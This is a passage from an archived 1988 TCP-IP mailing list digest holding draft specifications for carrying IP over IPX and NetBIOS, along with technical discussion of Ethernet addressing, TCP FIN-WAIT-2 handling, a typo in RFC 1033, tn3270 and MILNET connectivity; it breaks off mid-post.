    IPX is a proprietary standard developed by Novell derived from Xerox's
    Internet Datagram Protocol[3].  This standard specifies a means of
    transmitting and receiving datagrams on a Novell network.


Description

    In general, IPX networks may be used to support Internet networks of
    any type.  More specifically, IPX networks may be used to support IP
    networks and subnets[4] of any class.  By means of encapsulating IP
    datagrams within IPX datagrams and assigning IP numbers to the hosts
    on a IPX network, IP-based applications are supported on these hosts.
    The addition of an IP Gateway capable of encapsulating IP packets within
    ordinary data-link protocols (such as 802.3[5]) as well as within
    IPX datagrams allows these IPX hosts to communicate with the Internet.


Address Mappings

    This implementation does not use the Internet Datagram Protocol network
    field.  It instead relies on NetWare Internetwork Bridges to deliver
    broadcast-based address resolution protocols such as ARP[6] to determine
    network addresses.


Maximum Transmission Unit

    The maximum data size of a IPX datagram is 576 bytes.  Due to the
    encapsulation scheme utilized, this results in a Maximum Transmission
    Unit (MTU) for IP over IPX networks of 562 bytes.


Implementation

    Prepended to each Internet packet is a standard Ethernet[7] frame
    containing the physical destination and source addresses of the packet
    as well as the type field.  A typical IP over IPX packet is shown below:


                           --------------------
                           | data-link header |
                           |------------------|
                           |    IPX header    |
                           |------------------|
                           |  Ethernet frame  |
                           |------------------|
                           |     IP header    |
                           |------------------|
                           |    TCP header    |
                           |------------------|
                           |    TCP data      |
                           --------------------


    To support the transmission and reception of Internet datagrams on an
    IPX host, the initialization code must:

        1) Find the physical hardware address of the host using the
           IPX function 'Get Internetwork Address' (0x09).
        2) Open IPX socket IPSOCK for the reception and transmission of
           Internet packets using IPX function 'Open Socket' (0x00h).
        3) Submit a listen request on the IPSOCK socket with IPX function
           'Listen for Packet' (0x04).

    When a IPX datagram is recieved, it is processed by the protocol stack
    and another Listen for Packet request is submitted.

    When an Internet packet is sent, the physical destination address of
    the Ethernet field is copied into the IPX physical destination address
    field, and the packet it is placed in the data space of the IPX datagram
    and sent using the IPX 'Send Packet' (0x03) function.

    Finally, when the Internet support for a given IPX host is discontinued,
    the INTSOCK socket should be closed with the 'Close Socket' (0x01)
    function.

    Novell has reserved the IPX socket number 0x8062 (INTSOCK) for the
    transmission and reception of Internet packets over IPX networks.


References
    [1] J. Postel, "Internet Protocol", RFC-791, September 1981.

    [2] Novell, Inc., "Advanced NetWare V2.0 Internetwork Packet
        Exchange Protocol (IPX)", March 1986.

    [3] Xerox Corporation, "Xerox Network Systems Architecture",
        XNSG 068504, April 1985.

    [4] J. Mogul, "Internet Standard Subnetting Procedure", RFC-950,
        August 1985.

    [5] J. Postel, "A Standard for the Transmission of IP datagrams
        over IEEE 802 Networks", RFC-1042, February 1988.

    [6] D. Plummer, "An Ethernet Address Resolution Protocol", RFC-826,
        November 1982.

    [7] Xerox Corporation, "Xerox Network Systems Architecture",
        XNSG 068504, April 1985.






-----------[000133][next][prev][last][first]----------------------------------------------------
Date:      14 Dec 88 10:29:04 PST (Wednesday)
From:      SSanfilippo.osbunorth@Xerox.COM
To:        mckee@mitre.Arpa
Cc:        tcp-ip@sri-nic.Arpa
Subject:   Re: ToasterNet (was Re: Running out of Internet addresses?)

The Ethernet address is large because it is assigned to a device
permanently, and remains the same even if the device is moved to another
network. Also, the Ethernet address is the same size, and is identical to,
the "host" portion of the XNS address used by a higher-level protocol known
as IDP (Internet Datagram Protocol - the XNS counterpart of IP). Since
these addresses are the same, there is no need for an ARP protocol in XNS.
-----------[000134][next][prev][last][first]----------------------------------------------------
Date:      14 Dec 88 05:48:25 GMT
From:      minshall@VIOLET.BERKELEY.EDU
To:        comp.protocols.tcp-ip
Subject:   Re: tn3270

At long last, a new version of tn3270 is being released.

The preferred method of retrieval (see below) is by mail from the University.
However, the file is available on host ucbarpa.berkeley.edu as
pub/tn3270.tar.Z (binary mode transfers only, please).

This version should work on Ultrix, SunOS, etc.

With this version we are dropping support (possibly temporarily) for the
MS-DOS environment.  The basic hooks are still there, but I haven't had
the time to actually get it to work.

This new version consists entirely of bug fixes (ie: no new functionality).
However, there have been enough bugs accumulating over the last year or
so that getting the fixes out should improve things considerably.

Bugs to me.  Sorry this has taken so long ("so little and so late").

Greg Minshall
minshall@berkeley.edu

---------------
New versions of the tn3270 and mset commands, used to logon to CMS from
unix, are now available.

The following bugs have been fixed in version 4.1:

	o	This version corrects an earlier bug in tn3270 (telnet,
		actually) which prevented tn3270 from running on a
		Sun 4.

	o	This version corrects for a bug on some SunOS 4.0 systems
		(running on Sun 3's is where this has been noticed) which
		causes screen corruption when making extensive use of
		highlighting (which tn3270 does and "man", for some reason,
		doesn't).

	o	This version corrects a bug which caused unformatted
		screens to behave incorrectly (the so-called CICS bug).

	o	This version works correctly with VM/XA.

	o	Various bugs have been fixed.

The previous version of tn3270 supported an MS-DOS environment; this
version doesn't.  See tn3270/README for some alternatives.

Features include:

	o	Error messages, in English, overlay a portion of the
		screen when the user types an erroneous entry (invalid
		control sequence, attempt to enter data in an "input
		disallowed" field, etc.).

	o	Ability to "escape to shell".  This, by itself, is
		mostly useful in a non-BSD system.

	o	An Application Programming Interface (API).  This allows
		programs, running under Unix, to read and
		write the 3270 screen, and to send keystrokes (3270)
		to tn3270.  This makes use of the "escape to shell"
		feature.  Included in the (beta) distribution is a
		program which uses the API to receive files sent from
		the IBM host (we don't supply the IBM side at this point,
		and the rather stupid protocol is likely to change in
		the future).

	o	Yale ASCII/7171/4994 "transparent" mode should now
		be fully implemented.  SAS-Graph, for example,
		supports doing graphics to TEK terminals over
		this interface.  Locally, we use the X windowing
		system terminal emulator (xterm), which provides
		some TEK emulation, to display SAS-Graph graphics
		on our workstations.

	o	Mset now prints out program function (PF) keys in
		numerical order.

    To obtain the source for tn3270, send a check for $100.00 (US) payable
to "Regents of the University of California" to:

	Campus Software Office
	295 Evans Hall
	UC Berkeley, CA  94720
	USA

Specify that you are ordering tn3270.

-----------[000135][next][prev][last][first]----------------------------------------------------
Date:      Wed, 14 Dec 88 14:47:56 MST
From:      "C. Philip Wood" <cpw%sneezy%LANL.GOV@VM.USC.EDU>
To:        Local BBoard - Postmaster <#TCP-IP@MVSA.USC.EDU>
Subject:   MILNET/BBN IMP/ACC LH-DH/4.3BSD VAX Connection
Ever since new software was loaded on our MILNET Node '90' (BBN C-30)
December 3rd? we have been suffering from an inordinate amount of lost
"Rifnums" or to put it more succinctly Requests For New Messages from
our IMP.  The high-level symptom is loss of connectivity.  Currently,
the only solution is to call DCA and have them reset the IMP.

Does anyone know if this is a problem with the new software?  A problem
with 4.3BSD UNIX imp/acc drivers?  A simple configuration problem?
OR WHAT!

Facts:

VAX-11/785
    26.0.0.90
        ACC LH-DH/11  SN: 270, REV: C.4
        ACC Cable (200')
        BBN C30, PSN 7.0, Node: 90, Port: 0

Note the absence of an ECU.




-----------[000136][next][prev][last][first]----------------------------------------------------
Date:      14 Dec 88 15:24:16 GMT
From:      stev@VAX.FTP.COM
To:        comp.protocols.tcp-ip
Subject:   Mobile Toasters (was ToasterNet..)


*Re: What was the rationale for 48-bit Ethernet addresses?  They are never
*	used beyond the "Local" Area Network; 
*
*Also, unique host numbers are useful in large distributed systems  (for
*generating unique identifiers).  It just happens to be a nice optimization
*that a unique 48-bit XNS host number and a 48-bit Ethernet address are the
*same.  
*
*There is some danger though for a distributed system algorithm which
*absolutely depend son a unique ID.  We have seen cases in the Xerox
*Internet where 48-bit host numbers were not unique as intended.
*(Apparently PROM burners can get stuck on the same number once in a while.)
*
*John Larson
*Xerox PARC
*

part of the win also was that the numbering was "distributed"
have the ethernet address was vendor code, half was "serial number".
(i realize that "serial number" is not the real title, but it always
suprised me that most boards has a diffrent serial number if one
is mentioned.) makes it easier to figure out the "class" of machines
that is troubling you, and gives them the freedom to do with their
numbers as they wish.

stev knowles
stev@ftp.com
ftp software

-----------[000137][next][prev][last][first]----------------------------------------------------
Date:      14 Dec 88 16:08:34 GMT
From:      ron@ron.rutgers.edu (Ron Natalie)
To:        comp.protocols.tcp-ip
Subject:   Re: TCP implementations and FIN-WAIT-2

You DO NOT want to just use a timer to kill FIN-WAIT-2 state connections after
some period of inactivity.  This kills applications that legitimately work
this way, notably rsh.  It's been tried in the past.

I tend towards the Phil Karn approach, that this should be left to the application.
An application should decide how long after it closes the transmit side of a
connection it should wait before it gives up and forces the TCB to go away.
If data arrives after that, it should get a RST, which is the proper action
whenever data arrives for a connection that doesn't exist.  Of course, I believe
UNIX lacks the ability to do this properly in 4.3 (I don't know what Mike has
done in 4.4 or has in mind for the future).

A application probe call that throws packets at an already FIN-ed connection
to see if it can awaken the other end, might be useful however.

-Ron

-----------[000138][next][prev][last][first]----------------------------------------------------
Date:      14 Dec 88 17:32:49 GMT
From:      roy@phri.UUCP (Roy Smith)
To:        comp.protocols.tcp-ip
Subject:   Typo in RFC 1033 (Domain Operations Guide)?


        In RFC 1033, near the top of page 7 (under GLUE RECORDS), an
example is given of an NS record followed by an A glue record.  It says:

        SRI.COM.        NS
        KL.SRI.COM.     KL.SRI.COM.     A       10.1.0.2.

       Either that's a typo, or I have absolutely no idea what the entire
RFC is talking about (not impossible :-)).  Shouldn't the first KL.SRI.COM.
be at the end of the NS line instead of at the beginning of the A line,
like thus:

        SRI.COM.        NS      KL.SRI.COM.
        KL.SRI.COM.     A       10.1.0.2.
-- 
Roy Smith, System Administrator
Public Health Research Institute
{allegra,philabs,cmcl2,rutgers}!phri!roy -or- phri!roy@uunet.uu.net
"The connector is the network"

-----------[000139][next][prev][last][first]----------------------------------------------------
Date:      Wed, 14 Dec 88 17:32:49 GMT
From:      Roy Smith <phri!roy%RUTGERS.EDU@VM.USC.EDU>
To:        Local BBoard - Postmaster <#TCP-IP@MVSA.USC.EDU>
Subject:   Typo in RFC 1033 (Domain Operations Guide)?

        In RFC 1033, near the top of page 7 (under GLUE RECORDS), an
example is given of an NS record followed by an A glue record.  It says:

        SRI.COM.        NS
        KL.SRI.COM.     KL.SRI.COM.     A       10.1.0.2.

       Either that's a typo, or I have absolutely no idea what the entire
RFC is talking about (not impossible :-)).  Shouldn't the first KL.SRI.COM.
be at the end of the NS line instead of at the beginning of the A line,
like thus:

        SRI.COM.        NS      KL.SRI.COM.
        KL.SRI.COM.     A       10.1.0.2.
--
Roy Smith, System Administrator
Public Health Research Institute
{allegra,philabs,cmcl2,rutgers}!phri!roy -or- phri!roy@uunet.uu.net
"The connector is the network"




-----------[000140][next][prev][last][first]----------------------------------------------------
Date:      14 Dec 88 18:09:11 GMT
From:      postel@VENERA.ISI.EDU
To:        comp.protocols.tcp-ip
Subject:   IAB Official Protocol Standards

The Internet Activities Board (IAB) has issued an Official List of Internet
Protocol Standards.  This list is contained in RFC-1083.

RFC-1083 describes the state of standardization of protocols used in
the Internet as determined by the Internet Activities Board (IAB).  An
overview of the standards procedures is presented first, followed by
discussions of the standardization process and the RFC document series,
then the explanation of the terms is presented, the lists of protocols
in each stage of standardization follows, and finally pointers to
references and contacts for further information.

RFCs can be obtained via FTP from SRI-NIC.ARPA with the pathname
RFC:RFCnnnn.TXT where "nnnn" refers to the number of the RFC.  Log in
with FTP username ANONYMOUS and password GUEST.  The NIC also provides
an automatic mail service for those sites which cannot use FTP.
Address the request to SERVICE@SRI-NIC.ARPA and in the subject field
of the message indicate the RFC number, as in "Subject: RFC nnnn".

Requests for special distribution should be addressed to either the
author of the RFC in question or to NIC@SRI-NIC.ARPA.  Unless
specifically noted otherwise on the RFC itself, all RFCs are for
unlimited distribution.

--jon.

-----------[000141][next][prev][last][first]----------------------------------------------------
Date:      14 Dec 88 18:16:00 GMT
From:      ljm@TWG.COM (Leo J McLaughlin)
To:        comp.protocols.tcp-ip
Subject:   following IP over NetBIOS and IPX specifications


With many apologies to those who wished to see these specifications a
number of months ago, I finally present the IP over NetBIOS and IPX
documents.  They follow in two, seperate messages.

leo j mclaughlin iii
The Wollongong Group
ljm@twg.com

-----------[000142][next][prev][last][first]----------------------------------------------------
Date:      14 Dec 88 18:17:00 GMT
From:      ljm@TWG.COM (Leo J McLaughlin)
To:        comp.protocols.tcp-ip
Subject:   IP over NetBIOS specification




The Wollongong Group                                    L. J. McLaughlin III
                                                        December 1988


    A Standard for the Transmission of IP Datagrams over NetBIOS networks


Status of this Memo

    This document specifies a standard method of encapsulating the Internet
    Protocol[1] (IP) datagrams on NetBIOS[2] networks. Distribution of this
    memo is unlimited.


Introduction

    The goal of this specification is to allow compatible and interoperable
    implementations for transmitting IP datagrams over NetBIOS networks.

    NetBIOS is a standard which specifes a means of creating virtual
    circuts and of transmitting and receiving point-to-point, multicast,
    and broadcast datagrams.  This specification uses only the datagram
    services.


Description

    NetBIOS networks may be used to support IP networks and subnets[3] of
    any class.  By means of encapsulating IP datagrams within NetBIOS
    datagrams and assigning IP numbers to the hosts on a NetBIOS network,
    IP-based applications are supported on these hosts.  The addition of
    a router capable of encapsulating IP packets within ordinary data-link
    protocols (such as 802.3[4]) as well as within NetBIOS datagrams allows
    these NetBIOS hosts to communicate with the Internet at large.


Address Mappings

    In general NetBIOS names may be any series of 16 bytes, however, a few
    values are reserved or used by common networking packages.  NetBIOS names
    for the IP applications on each host are chosen on the basis of the
    internet number of that host.  Since NetBIOS names are a mapping of
    IP addresses, no physical address query mechanism (e.g. ARP[5]) is
    required

    For these internet protocol applications IP.XX.XX.XX.XX is the NetBIOS
    name for any IP over NetBIOS host where XX represents the ascii
    hexadecimal representation of that byte of the internet address.

    This addressing scheme allows for the multiplexing of standard datagram
    protocols over NetBIOS as well as easy visual confirmation of the
    correctness of a given packet's address.


Broadcast and Multicast Addresses

    Broadcast Internet addresses are supported by the broadcast datagram
    mechanisms provided in NetBIOS.  Mapping between IP multicast addresses
    and NetBIOS group names is currently not supported.


Maximum Transmission Unit

    The maximum data size of a NetBIOS datagram, and therefore the Maximum
    Transmission Unit (MTU) for IP over NetBIOS networks, is 512 bytes.
    Therefore, any hosts communicating with a host on a NetBIOS network may
    be required to reassemble fragmented datagrams.


Implementation

    To support IP on a NetBIOS host for any given IP address the initial-
    ization code must:
	
        1) Add IP.XX.XX.XX.XX to the host's NetBIOS name table.

        2) Submit a receive datagram request for the reception of NetBIOS
           datagrams destined for IP.XX.XX.XX.XX.

        3) Submit a receive broadcast datagram request.

    When a NetBIOS datagram is received, it is processed by the protocol stack
    and another receive datagram or receive broadcast datagram request is
    submitted.

    When an IP datagram is sent, it is considered to be NetBIOS datagram data
    and sent by either a send datagram request to IP.XX.XX.XX.XX or a send
    datagram broadcast request.

    Optionally, the IP software may desire to make adapter status queries of
    the NetBIOS network.  As support for SNMP becomes a requirement for
    IP hosts, these adapter status queries may become mandatory.

    Finally, when the IP support for a given NetBIOS host is discontinued,
    a cancel command request should be submitted for every pending receive
    datagram or receive broadcast datagram request and a delete name request
    should be submitted for the IP.XX.XX.XX.XX address added during
    initialization.


References

    [1] J. Postel, "Internet Protocol", RFC-791, September 1981.

    [2] IBM PC Network Technical Reference. September 1984. Document
        Number 6322916.

    [3] J. Mogul, "Internet Standard Subnetting Procedure", RFC-950,
        August 1985.

    [4] J. Postel, "A Standard for the Transmission of IP datagrams
        over IEEE 802 Networks", RFC-1042, February 1988.

    [5] D. Plummer, "An Ethernet Address Resolution Protocol", RFC-826,
        November 1982.

-----------[000143][next][prev][last][first]----------------------------------------------------
Date:      14 Dec 88 18:18:00 GMT
From:      ljm@TWG.COM (Leo J McLaughlin)
To:        comp.protocols.tcp-ip
Subject:   Internet packets over IPX specification




The Wollongong Group                                    L. J. McLaughlin III
                                                        December 1988


    A Standard for the Transmission of Internet packets over IPX networks


Status of this Memo

    This document specifies a standard method of encapsulating Internet
    packets such as Internet Protocol[1] (IP) datagrams on networks
    supporting the Internet Packet Exchange Protocol[2] (IPX). Distribution
    of this memo is unlimited.


Introduction

    The goal of this specification is to allow compatible and interoperable
    implementations for transmitting Internet packets over IPX networks.

    IPX is a proprietary standard developed by Novell derived from Xerox's
    Internet Datagram Protocol[3].  This standard specifies a means of
    transmitting and receiving datagrams on a Novell network.


Description

    In general, IPX networks may be used to support Internet networks of
    any type.  More specifically, IPX networks may be used to support IP
    networks and subnets[4] of any class.  By means of encapsulating IP
    datagrams within IPX datagrams and assigning IP numbers to the hosts
    on a IPX network, IP-based applications are supported on these hosts.
    The addition of an IP Gateway capable of encapsulating IP packets within
    ordinary data-link protocols (such as 802.3[5]) as well as within
    IPX datagrams allows these IPX hosts to communicate with the Internet.


Address Mappings

	This implementation does not use the Internet Datagram Protocol network
    field.  It instead relies on NetWare Internetwork Bridges to deliver
    broadcast-based address resolution protocols such as ARP[6] to determine
    network addresses.


Maximum Transmission Unit

    The maximum data size of a IPX datagram is 576 bytes.  Due to the
    encapsulation scheme utilized, this results in a Maximum Transmission
    Unit (MTU) for IP over IPX networks of 562 bytes.


Implementation

    Prepended to each Internet packet is a standard Ethernet[7] frame
    containing the physical destination and source addresses of the packet
    as well as the type field.  A typical IP over IPX packet is shown below:


                           --------------------
                           | data-link header |
                           |------------------|
                           |    IPX header    |
                           |------------------|
                           |  Ethernet frame  |
                           |------------------|
                           |     IP header    |
                           |------------------|
                           |    TCP header    |
                           |------------------|
                           |    TCP data      |
                           --------------------


    To support the transmission and reception of Internet datagrams on an
    IPX host, the initialization code must:
	
        1) Find the physical hardware address of the host using the
           IPX function 'Get Internetwork Address' (0x09).
        2) Open IPX socket IPSOCK for the reception and transmission of
           Internet packets using IPX function 'Open Socket' (0x00h).
        3) Submit a listen request on the IPSOCK socket with IPX function
           'Listen for Packet' (0x04).

    When a IPX datagram is recieved, it is processed by the protocol stack
    and another Listen for Packet request is submitted.

    When an Internet packet is sent, the physical destination address of
    the Ethernet field is copied into the IPX physical destination address
    field, and the packet it is placed in the data space of the IPX datagram
    and sent using the IPX 'Send Packet' (0x03) function.

    Finally, when the Internet support for a given IPX host is discontinued,
    the INTSOCK socket should be closed with the 'Close Socket' (0x01)
    function.

    Novell has reserved the IPX socket number 0x8062 (INTSOCK) for the
    transmission and reception of Internet packets over IPX networks.


References

    [1] J. Postel, "Internet Protocol", RFC-791, September 1981.

    [2] Novell, Inc., "Advanced NetWare V2.0 Internetwork Packet
        Exchange Protocol (IPX)", March 1986.

    [3] Xerox Corporation, "Xerox Network Systems Architecture",
        XNSG 068504, April 1985.

    [4] J. Mogul, "Internet Standard Subnetting Procedure", RFC-950,
        August 1985.

    [5] J. Postel, "A Standard for the Transmission of IP datagrams
        over IEEE 802 Networks", RFC-1042, February 1988.

    [6] D. Plummer, "An Ethernet Address Resolution Protocol", RFC-826,
        November 1982.

    [7] Xerox Corporation, "Xerox Network Systems Architecture",
        XNSG 068504, April 1985.

-----------[000144][next][prev][last][first]----------------------------------------------------
Date:      14 Dec 88 18:36:07 GMT
From:      guy@auspex.UUCP (Guy Harris)
To:        comp.protocols.tcp-ip
Subject:   Re: RCP and LOTOS

>It is my understanding that there are several variations of RPC, 

Well, there are several different Remote Procedure Call implementations;
I wouldn't necessarily call them "variations", except in the sense that
C, Pascal, FORTRAN 77, etc. are "variations" on the idea of a
"conventional" programming language.

>thus their interfaces (on the applications side and on the transport
>side) should be standardized for the sake of interoperability (this is
>my particular opinion).

Unfortunately, I don't know that this is practical.  The designs of the
different RPC mechanisms may be sufficiently different that, while you
may be able to build an "abstract" interface that sits atop several
different RPC mechanisms and offers access to some - not necessarily all
- of the features of those RPC mechanisms, I don't know that you can go
in and change the interfaces to those mechanisms to all look the same
without doing some violence to their designs.

The same applies to the bits pushed out over the wire.  You'd end up
with something that might interoperated with other modified versions,
but it wouldn't interoperate with the existing implementations....

-----------[000145][next][prev][last][first]----------------------------------------------------
Date:      Wed, 14 Dec 88 19:29:50 GMT
From:      henry@utzoo.uucp (Henry Spencer)
To:        comp.protocols.tcp-ip
Subject:   Re: ToasterNet (was Re: Running out of Internet addresses?)

In article <8812121420.AA27357@mitre.arpa> mckee@MITRE.ARPA (H. Craig McKee) writes:
>What was the rationale for 48-bit Ethernet addresses?  They are never
>used beyond the "Local" Area Network...

In TCP/IP-land they are strictly local.  In XNS-land they are globally
known, with other addressing information present only as hints.

There was also a considerable desire to guarantee uniqueness on any LAN
without reliance on administrative actions like flipping DIP switches.
-- 
SunOSish, adj:  requiring      |     Henry Spencer at U of Toronto Zoology
32-bit bug numbers.            | uunet!attcan!utzoo!henry henry@zoo.toronto.edu

-----------[000146][next][prev][last][first]----------------------------------------------------
Date:      14 Dec 88 21:47:56 GMT
From:      cpw%sneezy@LANL.GOV (C. Philip Wood)
To:        comp.protocols.tcp-ip
Subject:   MILNET/BBN IMP/ACC LH-DH/4.3BSD VAX Connection

Ever since new software was loaded on our MILNET Node '90' (BBN C-30)
December 3rd? we have been suffering from an inordinate amount of lost
"Rifnums" or to put it more succinctly Requests For New Messages from
our IMP.  The high-level symptom is loss of connectivity.  Currently,
the only solution is to call DCA and have them reset the IMP.

Does anyone know if this is a problem with the new software?  A problem
with 4.3BSD UNIX imp/acc drivers?  A simple configuration problem? 
OR WHAT!

Facts:

VAX-11/785
	26.0.0.90	
		ACC LH-DH/11  SN: 270, REV: C.4
		ACC Cable (200')
		BBN C30, PSN 7.0, Node: 90, Port: 0

Note the absence of an ECU.

-----------[000147][next][prev][last][first]----------------------------------------------------
Date:      Thu, 15 Dec 88 12:56:20 PST
From:      Mark Lottor <MKL%SRI-NIC.ARPA@VM.USC.EDU>
To:        Local BBoard - Postmaster <#TCP-IP@MVSA.USC.EDU>
Subject:   Networks and Harm

Hi folks:

    Is anyone currently using computer networks in a situation in which
if they were denied access to the network, a human being would suffer
harm (e.g., suffer injury or even die)?

    I ask because I'm (finally) writing up a paper on fair allocation
of resources in computer networks and want to know if, in fact, denial
of service has consequences substantially more severe than simply forcing
an application to try again later.

Thanks,

Craig




-----------[000148][next][prev][last][first]----------------------------------------------------
Date:      Thu, 15 Dec 88 15:49:24 -0500
From:      Craig Partridge <craig@NNSC.NSF.NET>
To:        tcp-ip@sri-nic.ARPA
Subject:   Networks and Harm

Hi folks:

    Is anyone currently using computer networks in a situation in which
if they were denied access to the network, a human being would suffer
harm (e.g., suffer injury or even die)?

    I ask because I'm (finally) writing up a paper on fair allocation
of resources in computer networks and want to know if, in fact, denial
of service has consequences substantially more severe than simply forcing
an application to try again later.

Thanks,

Craig
-----------[000149][next][prev][last][first]----------------------------------------------------
Date:      15 Dec 88 10:41:40 GMT
From:      tcp-ip-RELAY@SRI-NIC.ARPA
To:        comp.protocols.tcp-ip
Subject:   (none)

(UCLA/Mail V1.410 M-ACP-8280-144); Wed, 14 Dec 88 19:58:27 PST
Received: from VM.USC.EDU by MVSA.USC.EDU
    with TCP; Wed, 14 Dec 88 19:58:25 PST
Received: from USCVM.BITNET by VM.USC.EDU (IBM VM SMTP R1.2) with BSMTP id 5929;
 Wed, 14 Dec 88 19:59:56 PST
Received: by USCVM (Mailer X1.25) id 5926; Wed, 14 Dec 88 19:59:54 PST
Date:         Wed, 14 Dec 88 10:18:00 PST
Reply-To:     <TCP-IP%SRI-NIC.ARPA@VM.USC.EDU>
Sender:       "(TCP-IP ARPA Discussions)" <TCPIP-L@VM.USC.EDU>
Comments:     Warning -- original Sender: tag was TCPIP-L@BYUADMIN
From:         Leo J McLaughlin <ljm%TWG.COM@VM.USC.EDU>
Subject:      Internet packets over IPX specification
To:           Local BBoard - Postmaster <#TCP-IP@MVSA.USC.EDU>




The Wollongong Group                                    L. J. McLaughlin III
                                                        December 1988


    A Standard for the Transmission of Internet packets over IPX networks


Status of this Memo

    This document specifies a standard method of encapsulating Internet
    packets such as Internet Protocol[1] (IP) datagrams on networks
    supporting the Internet Packet Exchange Protocol[2] (IPX). Distribution
    of this memo is unlimited.


Introduction

    The goal of this specification is to allow compatible and interoperable
    implementations for transmitting Internet packets over IPX networks.

    IPX is a proprietary standard developed by Novell derived from Xerox's
    Internet Datagram Protocol[3].  This standard specifies a means of
    transmitting and receiving datagrams on a Novell network.


Description

    In general, IPX networks may be used to support Internet networks of
    any type.  More specifically, IPX networks may be used to support IP
    networks and subnets[4] of any class.  By means of encapsulating IP
    datagrams within IPX datagrams and assigning IP numbers to the hosts
    on a IPX network, IP-based applications are supported on these hosts.
    The addition of an IP Gateway capable of encapsulating IP packets within
    ordinary data-link protocols (such as 802.3[5]) as well as within
    IPX datagrams allows these IPX hosts to communicate with the Internet.


Address Mappings

    This implementation does not use the Internet Datagram Protocol network
    field.  It instead relies on NetWare Internetwork Bridges to deliver
     broadcast-based address resolution protocols such as ARP[6] to determine
    network addresses.


Maximum Transmission Unit

    The maximum data size of a IPX datagram is 576 bytes.  Due to the
    encapsulation scheme utilized, this results in a Maximum Transmission
    Unit (MTU) for IP over IPX networks of 562 bytes.


Implementation

    Prepended to each Internet packet is a standard Ethernet[7] frame
    containing the physical destination and source addresses of the packet
    as well as the type field.  A typical IP over IPX packet is shown below:


                           --------------------
                           | data-link header |
                           |------------------|
                           |    IPX header    |
                           |------------------|
                           |  Ethernet frame  |
                           |------------------|
                           |     IP header    |
                           |------------------|
                           |    TCP header    |
                           |------------------|
                           |    TCP data      |
                           --------------------


    To support the transmission and reception of Internet datagrams on an
    IPX host, the initialization code must:

        1) Find the physical hardware address of the host using the
           IPX function 'Get Internetwork Address' (0x09).
        2) Open IPX socket IPSOCK for the reception and transmission of
           Internet packets using IPX function 'Open Socket' (0x00h).
        3) Submit a listen request on the IPSOCK socket with IPX function
           'Listen for Packet' (0x04).

    When a IPX datagram is recieved, it is processed by the protocol stack
    and another Listen for Packet request is submitted.

    When an Internet packet is sent, the physical destination address of
    the Ethernet field is copied into the IPX physical destination address
    field, and the packet it is placed in the data space of the IPX datagram
    and sent using the IPX 'Send Packet' (0x03) function.

    Finally, when the Internet support for a given IPX host is discontinued,
    the INTSOCK socket should be closed with the 'Close Socket' (0x01)
    function.

    Novell has reserved the IPX socket number 0x8062 (INTSOCK) for the
    transmission and reception of Internet packets over IPX networks.


References
     [1] J. Postel, "Internet Protocol", RFC-791, September 1981.

    [2] Novell, Inc., "Advanced NetWare V2.0 Internetwork Packet
        Exchange Protocol (IPX)", March 1986.

    [3] Xerox Corporation, "Xerox Network Systems Architecture",
        XNSG 068504, April 1985.

    [4] J. Mogul, "Internet Standard Subnetting Procedure", RFC-950,
        August 1985.

    [5] J. Postel, "A Standard for the Transmission of IP datagrams
        over IEEE 802 Networks", RFC-1042, February 1988.

    [6] D. Plummer, "An Ethernet Address Resolution Protocol", RFC-826,
        November 1982.

    [7] Xerox Corporation, "Xerox Network Systems Architecture",
        XNSG 068504, April 1985.

-----------[000150][next][prev][last][first]----------------------------------------------------
Date:      15 Dec 88 14:54:02 GMT
From:      haven!ncifcrf!shore@ames.arc.nasa.gov  (Melinda Shore)
To:        tcp-ip@sri-nic.arpa
Subject:   Re: ToasterNet (was Re: Running out of Internet addresses?)
[]
Actually, there are some IP implementations that, under certain
circumstances, will use part of the hardware address in the IP address.
CTIX (Convergent Technologies) is one.
-- 
Melinda Shore                                    shore@ncifcrf.gov
NCI Supercomputer Facility              ..!uunet!ncifcrf.gov!shore
-----------[000151][next][prev][last][first]----------------------------------------------------
Date:      15 Dec 88 18:36:33 GMT
From:      cathy@larry.UUCP (Kitty Kat)
To:        comp.protocols.tcp-ip
Subject:   Sun's PC-NFS graphics terminal emulation

We have PC-NFS 3.00 from Sun Microsystems.  With this product
we currently connect with a Microvax using telnet and also
mount some of the microvax's partions on the PC's for file access.
We are runing Ultrix 2.0 soon to be 3.0 on the Microvax II machine.

We are looking for two things.  First we want a terminal emulator
that can do textronics 4014 terminal emuation over this 3com network.
The other thing we need is graphics terminal emuation that can
be used over a slip port.

If anyone has any leads on this type of thing please mail to me
or post something in this newsgroup.

Thanks in advance
Cathy Accettura
cathy@larry.sal.wisc.edu
Space Astronomy Lab 
University of Wisconsin

-----------[000152][next][prev][last][first]----------------------------------------------------
Date:      Thu, 15 Dec 88 19:50:27 GMT
From:      henry@utzoo.uucp (Henry Spencer)
To:        comp.protocols.tcp-ip
Subject:   Re: Mobile Toasters (was ToasterNet..)

In article <881212-182513-5931@Xerox> JLarson.pa@XEROX.COM writes:
>There is some danger though for a distributed system algorithm which
>absolutely depend son a unique ID.  We have seen cases in the Xerox
>Internet where 48-bit host numbers were not unique as intended.
>(Apparently PROM burners can get stuck on the same number once in a while.)

Also, production-line people are not used to the idea that each system
must be *different* -- they are very much organized around exact duplication
of hardware, PROMs included.  There are tales of this causing trouble at
several companies making Ethernet gear.
-- 
"God willing, we will return." |     Henry Spencer at U of Toronto Zoology
-Eugene Cernan, the Moon, 1972 | uunet!attcan!utzoo!henry henry@zoo.toronto.edu

-----------[000153][next][prev][last][first]----------------------------------------------------
Date:      15 Dec 88 19:57:59 GMT
From:      ron@ron.rutgers.edu (Ron Natalie)
To:        comp.protocols.tcp-ip
Subject:   Re: MILNET/BBN IMP/ACC LH-DH/4.3BSD VAX Connection

Those are RFNM's (Ready for Next Message).

-----------[000154][next][prev][last][first]----------------------------------------------------
Date:      15 Dec 88 20:03:29 GMT
From:      hedrick@geneva.rutgers.edu (Charles Hedrick)
To:        comp.protocols.tcp-ip
Subject:   RFC's for telnet terminal speed and flow control

Note that two new RFC's have just appeared, for telnet options to
propagate terminal speed and to toggle flow control.  These are
intended to allow telnet to provide all of the features of rlogin.  At
this point we have a telnet and telnetd based on 4.3's versions that
provide all of the features of rlogin except password-less login.
(I'll be posting diffs shortly.)  I'm holding off on password-less
login until we complete our upgrade to SunOS 4.0.  I hope that I can
do something based on the new public key user validation present in
4.0.  Rlogin's implementation of password-less login depends upon the
BSD concept of privileged sockets.  I don't see any obvious way of
including that in a protocol intended for general use.

During the review stage, one feature of the flow control RFC appeared
somewhat controversial: the proposed line mode telnet option will also
have provisions for handling flow control.  The current RFC is
intended to complete the set of facilities needed for reasonable
character mode telnet.  Line mode telnet will have to deal with a lot
more parameters.  Once line mode is negotiated on, I would assume it
